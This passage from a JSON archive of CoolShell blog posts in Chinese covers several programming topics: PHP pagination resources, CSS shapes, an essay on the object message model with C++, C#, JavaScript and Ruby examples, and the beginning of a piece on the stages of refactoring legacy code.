src=\"../wp-content/uploads/2011/08/CSS-Pagination-e1312792632740.jpg\" title=\"CSS Pagination\" width=\"550\"/></p>\n<h4>6) <a href=\"http://phpsense.com/php/php-pagination-script.html\" target=\"_blank\">PHP 分页类</a></h4>\n<p> </p>\n<p style=\"text-align: left;\">一个PHP的分页类</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-2524\" height=\"310\" src=\"../wp-content/uploads/2011/08/PHP-Pagination%C2%A0Script-e1312795287434.jpg\" title=\"PHP Pagination Script\" width=\"500\"/></p>\n<h4>7)<a href=\"http://www.phpeasycode.com/pagination/\"> Easy Pagination</a></h4>\n<p>这是一个PHP库，可以让你更容易的做分页。<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-2516\" height=\"384\" src=\"../wp-content/uploads/2011/08/php-easy-code.jpg\" title=\"php easy code\" width=\"515\"/></p>\n<h4>8 ) <a href=\"http://www.phpfreaks.com/tutorial/basic-pagination\">基本分页</a></h4>\n<p> </p>\n<p style=\"text-align: left;\">一个很不错简单易懂的分页教程。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2518\" height=\"178\" src=\"../wp-content/uploads/2011/08/Pagination-Script-and-Tutorial-e1312793432650.jpg\" title=\"Pagination Script and Tutorial\" width=\"550\"/></p>\n<h4>9)<a href=\"http://www.developphp.com/view_lesson.php?v=289\"> Php Page</a></h4>\n<h3></h3>\n<p style=\"text-align: left;\">一个简单的PHP的教程</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2519\" height=\"161\" src=\"../wp-content/uploads/2011/08/PHP-Freaks-e1312793481308.jpg\" title=\"PHP Freaks\" width=\"550\"/></p>\n<h4 style=\"text-align: left;\">10) <a href=\"http://www.sitepoint.com/perfect-php-pagination/\" target=\"_blank\">perfect-php-pagination</a></h4>\n<p> </p>\n<p style=\"text-align: left;\">也是一个分页教程。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2525\" height=\"221\" src=\"../wp-content/uploads/2011/08/Perfect-PHP-Pagination.jpg\" title=\"Perfect PHP Pagination\" width=\"436\"/></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-15 CSS图形.html",
    "content": "<html><body><p></p>\n<p>下面的示例展示了使用纯CSS制作的各种图形，你可以自由地修改文中的CSS代码。这个收集的<a href=\"http://css-tricks.com/examples/ShapesOfCSS/?=derp\" target=\"_blank\">原文在这里</a>。</p>\n<p> 经测试，IE9, Chrome, FF, Safari都可以正常显示。</p>\n<div class=\"shape\">\n<h5>正方形</h5>\n<div id=\"square\"></div>\n</div>\n<div class=\"shape\">\n<h5>长方形</h5>\n<div id=\"rectangle\"></div>\n</div>\n<p><span id=\"more-5164\"></span> </p>\n<div class=\"shape\">\n<h5>圆形</h5>\n<div id=\"circle\"></div>\n</div>\n<div class=\"shape\">\n<h5>椭圆形</h5>\n<div id=\"oval\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（向上）</h5>\n<div id=\"triangle-up\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（向下）</h5>\n<div id=\"triangle-down\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（向左）</h5>\n<div id=\"triangle-left\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（向右）</h5>\n<div id=\"triangle-right\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（左上）</h5>\n<div id=\"triangle-topleft\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（右上）</h5>\n<div id=\"triangle-topright\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（左下）</h5>\n<div id=\"triangle-bottomleft\"></div>\n</div>\n<div class=\"shape\">\n<h5>三角形（右下）</h5>\n<div id=\"triangle-bottomright\"></div>\n</div>\n<div class=\"shape\">\n<h5>平行四边行</h5>\n<div id=\"parallelogram\"></div>\n</div>\n<div class=\"shape\">\n<h5>梯形</h5>\n<div id=\"trapezoid\"></div>\n</div>\n<div class=\"shape\">\n<h5>六角星形</h5>\n<div id=\"star-six\"></div>\n</div>\n<div class=\"shape\">\n<h5>五角星形 <a href=\"http://kitmacallister.com/2011/css-only-5-point-star/\">via Kit MacAllister</a></h5>\n<div id=\"star-five\"></div>\n</div>\n<div class=\"shape\">\n<h5>五边形</h5>\n<div id=\"pentagon\"></div>\n</div>\n<div class=\"shape\">\n<h5>六边形</h5>\n<div id=\"hexagon\"></div>\n</div>\n<div class=\"shape\">\n<h5>八边形</h5>\n<div id=\"octagon\"></div>\n</div>\n<div class=\"shape\">\n<h5>心形 <a href=\"http://nicolasgallagher.com/\">via Nicolas Gallagher</a></h5>\n<div id=\"heart\"></div>\n</div>\n<div class=\"shape\">\n<h5>无穷大 <a href=\"http://nicolasgallagher.com/\">via Nicolas Gallagher</a></h5>\n<div id=\"infinity\"></div>\n</div>\n<div class=\"shape\">\n<h5>菱形</h5>\n<div id=\"diamond\"></div>\n</div>\n<div class=\"shape\">\n<h5>鸡蛋</h5>\n<div id=\"egg\"></div>\n</div>\n<div class=\"shape\">\n<h5>吃豆人</h5>\n<div id=\"pacman\"></div>\n</div>\n<div class=\"shape\">\n<h5>说话泡泡</h5>\n<div id=\"talkbubble\"></div>\n</div>\n<div class=\"shape\">\n<h5>12星形 <a href=\"http://commondream.net/post/8848553728/pure-css-badges\">via Alan Johnson</a></h5>\n<div id=\"burst-12\"></div>\n</div>\n<div class=\"shape\">\n<h5>8星形 <a href=\"http://commondream.net/post/8848553728/pure-css-badges\">via Alan Johnson</a></h5>\n<div id=\"burst-8\"></div>\n</div>\n<p>(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-15 对象的消息模型.html",
    "content": "<html><body><p><strong><span style=\"color: #cc0000;\">[ ———— 感谢</span> <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a> <span style=\"color: #cc0000;\">投递本文，<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/08/14/2138059.html\" target=\"_blank\">原文链接</a> ———— ]</span></strong></p>\n<h4><strong>C++对象模型</strong></h4>\n<p>话题从下面这段C++程序说起，你认为它可以顺利执行吗？</p>\n<pre class=\"EnlighterJSRAW\">//C++\nclass A {\n    public:\n        void Hello(const std::string&amp; name) {\n           std::cout &lt;&lt; \"hello \" &lt;&lt; name;\n         }\n};\nint main(int argc, char** argv)\n{\n    A* pa = NULL; //!!\n    pa-&gt;Hello(\"world\");\n    return 0;\n}</pre>\n<p>试试的确可以顺利运行输出hello world，奇怪吗？其实并不奇怪，根据C++对象模型，类的非虚方法并不会存在于对象内存布局中，实际上编译器是把Hello方法转化成了类似这样的全局函数：</p>\n<pre class=\"EnlighterJSRAW\">void A_Hello_xxx(A * const this, const std::string&amp; name) {\n    std::cout &lt;&lt; “hello “ &lt;&lt; name;\n}</pre>\n<p>对象指针其实是作为第一个参数被隐式传递的，pa-&gt;Hello(“world”)实际上是调用的A_Hello_xxx(pa, “world”)，而恰好A_Hello_xxx内部没有使用pa，所以这段代码得以顺利运行。</p>\n<h4><strong>对象的消息模型</strong></h4>\n<p>如果是研究C++对象模型，上面的讨论可以到此为止，不过这里我想从另一个层面来继续探讨这个问题。OOP的先驱人物Alan Kay在总结Smalltalk的OO特征时强调：</p>\n<p><span id=\"more-5202\"></span></p>\n<blockquote><p>Smalltalk is not only NOT its syntax or the class library, it is not even about classes. I’m sorry that I long ago coined the term “objects” for this topic because it gets many people to focus on the lesser idea. The big idea is “messaging”.</p></blockquote>\n<p>也就是说相比类和对象的概念来讲，他认为对象交互的消息模型是OOP更为本质的特征，因为消息关注的是对象间的接口和交互，在构建大的系统的时候重要的不是对象/模块的内部状态，而是它们的交互。根据消息模型，牛.吃(草) 的语义是发送一条消息给“牛”，消息的类型是“吃”，消息的内容是“草”。如果按照严格的消息模型，那么上面那段C++代码应解释为向一个NULL对象发送Hello消息，这显然是不应该顺利执行的。类似的代码如果是在Java或C#中则会抛出空引用异常，所以Java和C#的设计更符合消息模型。</p>\n<p>不过，Java和C#中也并非完全符合消息模型，来看一个经典的封装问题：</p>\n<pre class=\"EnlighterJSRAW\">//C#\n\npublic class Account {\n    private int _amount;\n\n    public void Transfer(Account acc, int delta) {\n        acc._amount += delta;\n        this._amount -= delta;\n    }\n    …\n}</pre>\n<p>上面定义了一个Account类，问题在于为什么在这个类的Transfer方法中可以直接访问另一个对象acc的私有成员_amount呢？这是不是有破坏封装的嫌疑呢？这个问题经典的答案是：并不破坏封装，封装是划分了基于类的静态的代码边界，使得类的private代码修改不影响外界，而不是对于动态对象的保护。这个解释当然是合理的，不过正如上面C++代码的解释属于C++对象模型范畴，这个解释则属于基于类的静态类型OOP语言的范畴。消息模型强调了对象内部状态的保护，只能通过消息改变其状态，而对象内部是否真的具有_amout这样一个私有成员对其他任何对象（即使同类对象）都是未知的。</p>\n<p>如果要严格遵守消息模型实现对象内部状态的保护应该怎么做呢？我们来看一个例子，定义一个集合类，包括：1.集合对象的构造函数；2.In方法：判断元素是否存在；3.Join方法：对两个集合做交集；4.Union方法：对两个集合做并集。下面是一种Javascript实现：</p>\n<pre class=\"EnlighterJSRAW\">//Javascript\n\n//集合类Set的构造函数\nfunction Set() {\n    var _elements = arguments;\n    //In方法：判断元素e是否在集合中\n    this.In = function(e) {\n        for (var i = 0; i &lt; _elements.length; ++i) {\n            if (_elements[i] == e) return true;\n        }\n        return false;\n    };\n}\n\n//Join方法：对两个集合求交集\nSet.prototype.Join = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) &amp;&amp; s2.In(e); }\n    return s;\n};\n\n//Union方法：对两个集合求并集\nSet.prototype.Union = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) || s2.In(e); }\n    return s;\n};\n\nvar s1 = new Set(1, 2, 3, 4, 5);\nvar s2 = new Set(2, 3, 4, 5, 6);\nvar s3 = new Set(3, 4, 5, 6, 7);\nassert(false == s1.Join(s2).Join(s3).In(2));\nassert(true == s1.Join(s2).Uion(s3).In(7));</pre>\n<p>如果是在静态类型OOP语言中，要实现集合类的Join或Union，我们多半会像上面Account的例子一样直接对s2内部的_elements进行操作，而上面这段Javascript定义的Set关于对象s2的访问完全是符合消息模型的基于接口的访问。要实现消息模型Javascript的prototype机制并非必须的，真正的关键在于函数式的高级函数和闭包特性。从这个例子我们也可以体会到函数式的优点不仅在于无副作用，函数的可组合性也是函数式编程强大的原因。</p>\n<h4><strong>Method Missing</strong></h4>\n<p>接下来我们还要进行深度历险，让我们思考一下如果发送一条对象不能识别的消息会怎样？这种情况在C++、Java、C#等静态类型语言中会得到一个方法未定义的编译错误，如果是在Javascript中则会产生运行时异常。比如，s1.count()会产生一个运行时异常：Object #&lt;Set&gt; has no method ‘count’。</p>\n<p>在静态类型语言这个问题很少受到重视，但在动态类型语言中却大有文章，来看下面的例子：<br/>\n//Ruby</p>\n<pre class=\"EnlighterJSRAW\">\nbuilder = Builder::XmlMarkup.new\nxml = builder.books {|b|\n    b.book :isbn =&gt; \"14134\" do\n        b.title \"Revelation Space\"\n        b.author \"Alastair Reynolds\"\n    end\n    b.book :isbn =&gt; \"53534\" do\n        b.title \"Accelerando\"\n        b.author \"Charles Stross\"\n    end\n}</pre>\n<p>上面这段很DSL的Ruby代码创建了这样一个XML文件对象：</p>\n<pre class=\"EnlighterJSRAW\">\n\n&lt;books&gt;\n    &lt;book isbn=\"14134\"&gt;\n        &lt;title&gt;Revelation Space&lt;/title&gt;\n        &lt;author&gt;Alastair Reynolds&lt;/author&gt;\n    &lt;/book&gt;\n    &lt;book isbn=\"53534\"&gt;\n        &lt;title&gt;Accelerando&lt;/title&gt;\n        &lt;author&gt;Charles Stross&lt;/author&gt;\n    &lt;/book&gt;\n&lt;/books&gt;\n\n</pre>\n<p>builder.books, b.book, b.title都是对象方法调用，由于XML的元素名是任意的，所以不可能事先定义这些方法，类似的代码如果是在Javascript中就是no method异常。那为什么上面的Ruby代码可以正确执行呢？其实只要理解了消息模型就很容易想明白，只需要定义一个通用的消息处理方法，所有未明确定义的消息都交给它来处理就行了，这就是所谓的Method Missing模式：</p>\n<pre class=\"EnlighterJSRAW\">\nclass Foo\n    def method_missing(method, *args, &amp;block)\n        …\n    end\nend\n</pre>\n<p>Method Missing除了对实现DSL很重要外，还可用于产生更好地调试和错误信息，把参数嵌入到方法名中等场合。目前，Ruby、Python、Groovy几种语言对Method Missing都有很好的支持，甚至在C# 4.0中也可以利用动态特性实现。</p>\n<h4>总结</h4>\n<p>本文主要介绍了对象的消息模型的特征，并比较了C++对象模型，Java、C#等基于类的静态类型语言中的对象模型与严格消息模型的差异，最后探讨了Method Missing相关话题。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://book.douban.com/subject/1484262/\" target=\"_blank\">Inside the C++ Object Model</a></li>\n<li><a href=\"http://book.douban.com/subject/4031906/\" target=\"_blank\">冒号课堂 – 编程范式与OOP思想</a></li>\n<li><a href=\"http://c2.com/cgi/wiki?AlanKaysDefinitionOfObjectOriented\" target=\"_blank\">Alan Kays Definition Of Object Oriented</a></li>\n<li><a href=\"http://fitzgeraldnick.com/weblog/39/\" target=\"_blank\">OOP The Good Parts: Message Passing, Duck Typing, Object Composition, and not Inheritance</a></li>\n<li><a href=\"http://olabini.com/blog/2010/04/patterns-of-method-missing/\">Patterns of Method Missing</a></li>\n<li><a href=\"http://haacked.com/archive/2009/08/26/method-missing-csharp-4.aspx\">Fun With Method Missing and C# 4</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6731.html\"><img alt=\"理解Javascript的闭包\" height=\"150\" src=\"../wp-content/uploads/2012/03/closure-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6668.html\"><img alt=\"再谈javascript面向对象编程 \" height=\"150\" src=\"../wp-content/uploads/2012/02/joo_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-16 重构代码的7个阶段.html",
    "content": "<html><body><p>你曾去想重构一个很老的模块，但是你只看了一眼你就恶心极了。文档，奇怪的函数和类的命名，等等，整个模块就像一个带着脚镣的衣衫褴褛的人，虽然能走，但是其已经让人感到很不舒服。面对这种情况，真正的程序员会是不会认输的，他们会接受挑战认真分析，那怕重写也在所不惜。最终那个模块会被他们重构，就像以前和大家介绍过的<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">那些令人销魂的编程方式</a>中的屠宰式编程一样。下面是重构代码的几个阶段，文章来自：<a href=\"http://norsedev.blogspot.com/2011/08/n-stages-of-refactoring.html\" target=\"_blank\">The 7 stages of refactoring</a>，下面的翻译只是意译。</p>\n<p><strong>第一阶段 – 绝望</strong></p>\n<p><strong></strong>在你开始去查看你想要重构的模块的，你会觉得好像很简单，这里需要改一个类，那里需要改两到三个函数，重写几个函数，看上去没什么大不了的，一两天就搞定了。于是你着手开始重构，然后当你调整重构了一些代码，比如改了一些命名，修理了一些逻辑，渐渐地，你会发现这个怪物原来体型这么大，你会看到与代码不符甚至含糊不清的注释，完全摸不着头脑的数据结构，还有一些看似不需要方法被调了几次，你还会发现无法搞清一个函数调用链上的逻辑。你感到这个事可能一周都搞不定，你开始绝望了。</p>\n<p><strong>第二阶段 – 找最简单的做</strong></p>\n<p><strong></strong>你承认你要重构的这个模块就是一个可怕的怪物，不是一两下就可以搞定的，于是你开始着干一些简单的事，比如重新命名一下几个函数，移除一些代码的阻碍，产生几个常量来消除magic number，等等，你知道这样做至少不会让代码变得更糟糕。</p>\n<p><strong>第三阶段 – 再次绝望</strong></p>\n<p><strong></strong>但是接下来的事会让你再次撞墙。你会发现那些代码的瑕疵是些不痛不痒的事，改正这些事完全于事无补，你应该要做的事就是重写所有的东西。但是你却没有时间这么干，而这些代码剪不乱理还乱，耦合得太多，让你再一次绝望。所以，你只能部分重写那些不会花太多时间的部分，这样至少可以让这些老的代码能被更多的重用。虽然不完美，但是至少可以试试。</p>\n<p><span id=\"more-5201\"></span><strong>第四阶段 – 开始乐观</strong></p>\n<p>在你试着部分重构这个模块几天之后，随着重构了几个单元后，虽然你发现改善代码的进度太慢了，但此时，你已知道代码应该要被改成什么样，你在痛苦之后也锁定了那些那修改的类。是的，虽然你的时间预算已经超支，虽然要干的事比较多，但你还是充满希望，觉得那是值得的。你胸中的那团火又被点燃了。</p>\n<p><strong>第五阶段  – 快速了结</strong></p>\n<p>在这个时候，你发现你已花了太多的时间，而情况越来越复杂，你感到你所面对的情况越来越让你越到不安，你明白你自己已经陷入了困境。你原本以为只需要一次简单的重构，然而现在你要面对的是重写所有的东西。你开始意识到原因是因为你是一个完美主义者，你想让代码变得完美。于是你开始在怠慢你文档，并想找到一个捷径来重写老的代码，你开始采用一些简单而粗暴，快速而有点肮脏的方法。虽然不是很完美，但你就是这样去做了。然后，你开始运行测试做UT，发现UT报告上全是红色，几乎全都失败了，你恐慌了，于是快速地fix代码，然后让UT 能工作。此时，你拍拍自己胸口，说到，没问题 ，于是就把代码提交了。</p>\n<p><strong>第六阶段 – 修改大量的Bug</strong></p>\n<p>你的重写并不完美，虽然其过了测试，但是那些UT测试对于你的新的代码有点不太合适，虽然他们都没有报错，但是他们测试得范围太小了，没有覆盖到所有的情况和边界。所以，在这以后，你还需要几周或是更长的时间不得不来修正越来越多的bug，这使得你的设计和代码在每一次quick-fix后就变得越来越难看。此时，代码已经不像你所期望的那样完美了，但你依然觉得他还是比一开始要好一些。这个阶段可能历经几个月。</p>\n<p><strong>第七阶段  – 觉悟</strong></p>\n<p>经过了6个月，你重写的模块又出了一个比较严重的bug。这让你重构的那个模块变得更难堪。你发现出的这个问题是和当初的设计不一致，你还发现被你重构掉的那段老的代码并不是当初看上去的那么坏，那段老的代码确实考虑到了一些你未曾考虑到的事情。这个时候，你团队里有人站出来说这个模块应该被重构或是重写，而你却不动声色地一言不发，并希望那个站出来的人能在几个月后能觉悟起来。</p>\n<p>——————</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"alignnone\" height=\"281\" src=\"http://ww2.sinaimg.cn/large/538efefbjw1dt8f6ua5rpg.gif\" title=\"代码重构\" width=\"322\"/></p>\n<p>不知道这是不是你的经历，我经历过很多次这样的事。对于很多维护性质的项目，我犯过的错误让我成了一个实实在在的保守派，我几乎不敢动，那怕看到代码很不合口味。当然，那些从来没有写过代码的敏捷咨询师一定会说用TDD或是UT可以让你的重构更有效也更容易，因为这样会让他们显得更我价值，但我想告诉你，这种脱离实际的说法很不负责任，这就好比说——<strong> 我在杀猪的时候遇到了一些麻烦，因为我对猪的生理结构不清楚，或是这本来就是一头畸形的猪，导致我杀的猪很难看，而伟大的敏捷咨询师却告诉我，要用一把更快更漂亮的刀</strong>。软件开发永远不是那么简单的事，杀猪也一样。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a 